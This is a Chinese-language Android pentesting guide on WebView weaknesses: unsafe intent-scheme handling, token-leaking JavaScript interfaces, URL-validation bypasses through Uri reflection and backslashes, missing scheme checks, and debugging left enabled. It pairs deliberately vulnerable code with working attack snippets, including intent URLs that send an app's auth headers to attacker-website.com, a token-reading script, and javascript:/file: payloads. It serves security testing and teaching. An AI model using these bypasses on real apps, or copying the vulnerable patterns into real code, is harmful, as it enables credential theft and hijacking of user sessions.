WebView漏洞
WebView 是一个显示网页的 View。WebView 对象将网页内容显示为活动布局的一部分,但缺少完全开发的浏览器的一些功能。
访问任意组件
Intent 类允许开发者使用 toUri(flags) 方法将 Intent 转换为包含其 URI 表示的字符串,并使用 parseUri(stringUri, flags) 方法从此 URI 创建 Intent。应用可以使用此方法将具有 intent
方案的 URL 解析为 Intent,并在 WebView 中处理 URL 时启动 Activity。如果处理未正确实现,您可以访问应用的任意组件。
开发者可以覆盖 WebViewClient 类的 shouldOverrideUrlLoading() 方法来处理在 WebView 内加载新链接的所有尝试。错误处理的示例如下:
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if ("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
此代码为具有 intent
方案的 URL 添加了自定义处理程序,使用传递的 URL 启动新 Activity。您可以通过创建 WebView 并将其重定向到特殊构造的 intent-scheme
URL 来利用此错误处理:
// Intent-scheme URL 创建
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
String url = intent.toUri(Intent.URI_INTENT_SCHEME);
// "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end"
Log.d("d", url);
// AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
// WebView 内的重定向
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";
但是,有几个限制:
Intent 嵌入的
Parcelable
和Serializable
对象无法转换为字符串,这些对象将被忽略。Intent.parseUri(stringUri, flags) 默认忽略 Intent.FLAG_GRANT_READ_URI_PERMISSION 和 Intent.FLAG_GRANT_WRITE_URI_PERMISSION 标志。只有设置了 Intent.URI_ALLOW_UNSAFE 标志时,解析器才会保留它们。
startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
参考资料:
addJavascriptInterface
addJavascriptInterface 方法将提供的 Java 对象注入到此 WebView 中。该对象使用提供的名称注入到网页的所有框架中,包括所有 iframes
。这允许从 JavaScript 访问 Java 对象的方法(无法访问 Java 对象的字段)。
此方法可以向 JavaScript 提供数据,甚至允许 JavaScript 控制主机应用程序。例如,以下接口泄露了用户令牌:
public class DefaultJavascriptInterface {
Context context;
public DefaultJavascriptInterface(Context c) {
this.context = c;
}
@JavascriptInterface
public getToken() {
SharedPreferences sharedPref = context.getSharedPreferences(getString(
R.string.preference_file_key),
Context.MODE_PRIVATE
);
return sharedPref.getString(getString(R.string.token_key), "")
}
}
public class DefaultActivity extends Activity {
// ...
public void loadWebView() {
WebView webView = (WebView)findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface")
// ...
}
}
<script>
alert("Token: " + DefaultJavascriptInterface.getToken());
</script>
参考资料:
绕过 URL 验证
滥用反射
android.net.Uri 是一个抽象类,有一些内部子类,允许您使用 android.net.Uri$HierarchicalUri
构建具有任意部分的自定义 URI。
假设,应用实现了以下验证:
// AuthWebViewActivity
Uri uri = getIntent().getData();
boolean isOurDomain =
"https".equals(uri.getScheme())
&& uri.getUserInfo() == null
&& "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthHeaders());
}
在这种情况下,您可以构建一个将通过验证的 URL,但调用 uri.toString()
将返回攻击者的网站:
Uri uri;
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
// uri.getScheme() == https
// uri.getUserInfo() == null
// uri.getHost() == legitimate.com
// uri.toString() == https://[email protected]
}
catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent();
intent.setData(uri);
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
startActivity(intent);
这是可能的,因为受害者应用本身不解析 URI,而是信任从不受信任来源接收的已解析 URI。
损坏的解析器
android.net.Uri 不识别授权部分中的反斜杠(但 java.net.URI
抛出异常),这允许您绕过 URL 验证。例如,易受攻击的代码可能如下所示:
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
// 或者
// webView.loadUrl(uri.toString());
}
在这种情况下,您可以使用反斜杠绕过限制:
String url = "http://attacker-website.com\\\\@legitimate.com/path";
String host = Uri.parse(url).getHost();
// "host" 变量包含 "legitimate.com" 值
Log.d("d", host);
// WebView 加载 attacker-website.com
webView.loadUrl(url, getAuthorizationHeaders());
缺少方案验证
如果应用不验证方案值(但可能验证主机值),您可以尝试使用 javascript
和 file
方案 URL 滥用此情况:
javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html
setWebContentsDebuggingEnabled
setWebContentsDebuggingEnabled 启用加载到应用任何 WebView 中的 Web 内容(HTML/CSS/JavaScript)的调试。使用此标志是为了便于调试 Web 布局和在 WebView 内运行的 JavaScript 代码。
启用此标志允许您在应用的任何 WebView 内执行任意 JavaScript 代码。
参考资料:
参考资料
最后更新于